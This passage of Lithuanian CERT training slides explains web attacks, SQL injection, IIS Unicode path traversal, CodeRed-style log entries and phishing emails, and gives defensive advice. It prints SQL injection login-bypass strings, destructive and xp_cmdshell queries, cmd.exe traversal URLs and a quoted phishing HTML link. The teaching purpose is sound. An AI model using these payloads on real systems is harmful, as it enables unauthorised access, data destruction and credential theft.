SQL injection login_member or a = a login_password or 1=1 -- strsql = "SELECT * FROM tblusers " & _ "WHERE Username='" & p_strusername & _ "' and Password='" & p_strpassword & "'" SELECT * FROM tblusers WHERE Username= or a = a and Password= or 1=1 -- Tok skripto veikim galima pakeisti vedus specialiai parinktas parametr reikšmes. Pavyzdžiui, panaudojus viengubas kabutes ir vedus or instrukcijas gali bti suformuotas toks SELECT sakinys: SELECT * FROM tblusers WHERE Username= or a = a and Password= or 1=1 - - Šio sakinio slyga WHERE yra teisinga visada ir tokio SELECT sakinio rezultatas yra visa vartotoj lentel. Gale vedamas komentaro ženklas eliminuoja pasiliekani kabut Tokiu bdu prie sistemos prisijungiama pirmojo vartotojo, rasto lentelje, teismis http://cert.litnet.lt 31

SQL injection. Variantai ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a Kiti galimi or instrukcijos vedimo variantai http://cert.litnet.lt 32

SQL injection. Pavyzdžiai ; UPDATE tblusers' SET Password' = 'newpas5' WHERE username='neo' - ; INSERT INTO 'tblusers' ('login_id', username', 'password', 'details') VALUES (666,'neo2','newpas5','NA') - ; DELETE FROM tblusers -- ; exec master..xp_cmdshell 'ping 10.10.1.2'-- Pasinaudojant SQL terpimo spagomis, galima atlikti ir kitokius veiksmus: Pakeisti esam lentels lauk reikšmes terpti naujus rašus Sunaikinti lentel Vykdyti komandas Ir kita http://cert.litnet.lt 33

SQL injection. Apsauga Filtruoti cookie, formos parametr reikšmes: - ", / \ * & ( ) $ % ^ @ ~? ; NULL \n \r Tikrinti vedamas reikšmes (ISNUMERIC) Riboti vedamos eiluts ilg Formoms leisti tik POST metod SQL server paleisti su neadministratoriaus privilegijomis Iš SQL serverio pašalinti stored procedures : Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask Apsisaugojant nuo SQL terpimo, svarbiausia tinkamai filtruoti formos parametrus ir kit informacij, kuri gauna skriptas. Kitos galimos priemons tikrinti parametr logik, riboti parametr eiluts ilg, minimizuoti SQL serviso vartotojo privilegijas, pašalinti stored procedures http://cert.litnet.lt 34

Unicode atakos. MS00-057 MS IIS tikrina užklausas ir atmeta../ http://www.myserver.com/scripts/../../winnt/sys tem32/cmd.exe Po to atliekamas Unicode dekodavimas / atitinka %c0%af http://www.myserver.com/scripts/..%c0%af../w innt/system32/cmd.exe Kitas atak tipas atakos, išnaudojanios paio serviso spragas. ia pateiktas pavyzdys MS IIS spragos, kai Unicode kodavimo dka galima apeiti parametr patikrinimus. MS IIS tikrina URL eilut, ar joje nra simboli../. Tokie simboliai leist keliauti po katalog med serveryje ir vykdyti bet kokias programas. Kadangi Unicode dekodavimas atliekamas po šio tikrinimo, Unicode simboliais užkodavus tikrinamus simbolius atak vis tiek pavyksta realizuoti http://cert.litnet.lt 35

CodeRed atakos 193.230.3.14 - - [01/Oct/2003:11:06:49 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.230.3.14 - - [01/Oct/2003:11:06:50 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 193.230.3.14 - - [01/Oct/2003:11:06:53 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.230.3.14 - - [01/Oct/2003:11:06:54 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 193.230.3.14 - - [01/Oct/2003:11:06:55 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 193.230.3.14 - - [01/Oct/2003:11:06:55 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 Tokia ataka palieka savo pdsakus serverio žurnale. http://cert.litnet.lt 36

Phishing Phishing = password fishing = slaptažodži žvejyba Apgaul, siekant išgauti asmenin informacij: Banko korteli informacij Slaptažodžiai Sskait informacija kita Phishing tai nra tipas, o greiiau metodas pulti, panaudojant taip pat ir HTTP atakas (CSS). ia phishing atakos minimos dar ir todl, kad pastaruoju metu pasaulyje j intensyvumas itin išaugo phishing atvej per pus met padaugjo apie 4000%. Vien JAV vartotojai per šiuos metus neteko apie 2 mlrd. USD. Phishing atakos tikslas išgauti asmenin svarbi informacij, toki kaip bank korteli informacija. http://cert.litnet.lt 37

Nuostoliai dl asmenins informacijos grobimo Aukos el. bankininkysts vartotojai (CityBank, SunTrust, ebay, PayPal) Nuostoliai: 2004metais nukentjo 1,8 mln. amerikiei Vidutiniškai nukentj s neteko 1200USD Prarasta apie 2 mlrd. USD Pagrindiniai phishing atak taikiniai elektronins bankininkysts klientai. http://cert.litnet.lt 38

Phishing. Pavyzdys Tipin phishing ataka: Banko klientams išsiuniamas falsifikuotas laiškas, pasirašytas, neva, banko personalo, ir kvieiantis (gal bt dl koki nors problem) apsilankyti banko svetainje bei patvirtinti tam tikr informacij. http://cert.litnet.lt 39

Spragteljus nurodyt nuorod, naršykl nukreipiamregistracijos puslap, kuriame vartotojas prašomas palikti svarbi informacij. Vaizduojama informacija bna pateikiama taip, kad vartotojas bttikinamas svetains autentiškumu. Kaip taisykl, registracijos prisijungimas nebna apsaugotas SSL šifravimu (nra užrakintos spynos piktograma statuso eilutje). http://cert.litnet.lt 40

Kitas falsifikuotos svetains pavyzdys. Kairje originali svetain http://cert.litnet.lt 41

Phishing technologijos This is a multi-part message in MIME format. --------------010507050809080901090009 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit <html><p><font face="arial"> <A HREF="https://web.daus.citibank.com/signin/scripts/Iogin2/user_setup.jsp"> <map name="fpmap0"> <area coords="0, 0, 610, 275" shape="rect" href="http://%32%30%30%2e%32%34%36%2e%31%31%2e%31%33 %35:%33%31%32%37/%63%69%74/%69%6E%64%65%78%2E%68%74%6D"> </map><img SRC="cid:part1.03000608.08040006@usersupport07@citibank.com" border="0" usemap="#fpmap0"></a></a></font></p><p> <font color="#fffff6">in 1870 Supercuts pays I am on a Yes, I don't mind I wish </font></p></html> Dažnai, norint suklaidinti vartotoj imamasi toki technologij: terpiamas image map paveiksllis, kurio nuoroda nukreipiama original banko tinklap (tai yra adresas, kur rodo el. pašto skaitymo programa). Tuo tarpu image map mechanizmas paspaudus nukreipia pašalin tinklap. Piktybinio tinklapio, surenkanio korteli informacij, adresas neretai užkoduojamas šešioliktainmis simboli reikšmmis. Tai turi nešti papildomos painiavos vartotojui. http://cert.litnet.lt 42

Dekodavimas <area coords="0, 0, 610, 275" shape="rect" href="http://%32%30%30%2e%32%34%36%2e%31%31 %2E%31%33%35:%33%31%32%37/%63%69%74/%69% 6E%64%65%78%2E%68%74%6D"> </map> > echo http://%32%30%30%2e%32%34%36%2e%31%31%2e%31%33%35:%33%31%32%37/% 63%69%74/%69%6E%64%65%78%2E%68%74%6D perl -e 'while (<>) { s/%(..)/pack("c", hex($1))/eg; print;} http://xxx.246.11.135:3127/cit/index.htm Tok užkoduot adres galima dekoduoti panaudojant perl skript. http://cert.litnet.lt 43